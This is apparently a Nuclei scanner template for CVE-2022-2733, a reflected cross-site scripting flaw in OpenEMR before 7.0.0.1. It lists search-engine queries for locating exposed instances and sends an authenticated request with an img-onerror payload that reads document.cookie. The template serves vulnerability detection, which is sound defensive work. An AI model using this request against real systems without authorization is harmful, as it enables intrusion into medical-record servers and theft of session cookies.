CVE-2022-2733: Openemr < 7.0.0.1 - Cross-Site Scripting

id: CVE-2022-2733

info:
  name: Openemr < 7.0.0.1 - Cross-Site Scripting
  author: ctflearner
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.0.1.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Openemr to version 7.0.0.1 or later to mitigate this vulnerability.
  reference:
    - https://huntr.dev/bounties/25b91301-dfb0-4353-a732-e051bbe8420c/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2733
    - https://github.com/openemr/openemr/commit/59458bc15ab0cb556c521de9d5187167d6f88945
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2733
    cwe-id: CWE-79
    epss-score: 0.95839
    epss-percentile: 0.9987
    cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: open-emr
    product: openemr
    shodan-query:
      - title:"OpenEMR"
      - http.html:"openemr"
      - http.title:"openemr"
      - http.favicon.hash:1971268439
    fofa-query:
      - icon_hash=1971268439
      - body="openemr"
      - title="openemr"
      - app="openemr"
    google-query: intitle:"openemr"
  tags: cve,cve2022,xss,openemr,authenticated,huntr,open-emr,vuln

http:
  - raw:
      - |
        POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/interface/login/login.php?site=default

        new_login_session_management=1&languageChoice=1&authUser={{username}}&clearPass={{password}}&languageChoice=1
      - |
        GET /interface/forms/fee_sheet/review/fee_sheet_options_ajax.php?pricelevel=%3Cimg%20src=a%20onerror=alert(document.cookie)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=a onerror=alert(document.cookie)>'
          - 'pricelevel'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204d11458e3472ca5174e3dda2fd065a9f1e9ccba851476b08a3f4cc30f0fa6c10022100bae151c2b8e1962af1c8507ff7291ee0de810d09cc2a33add22bf410713bbb96:922c64590222798bb761d5b6d8e72950

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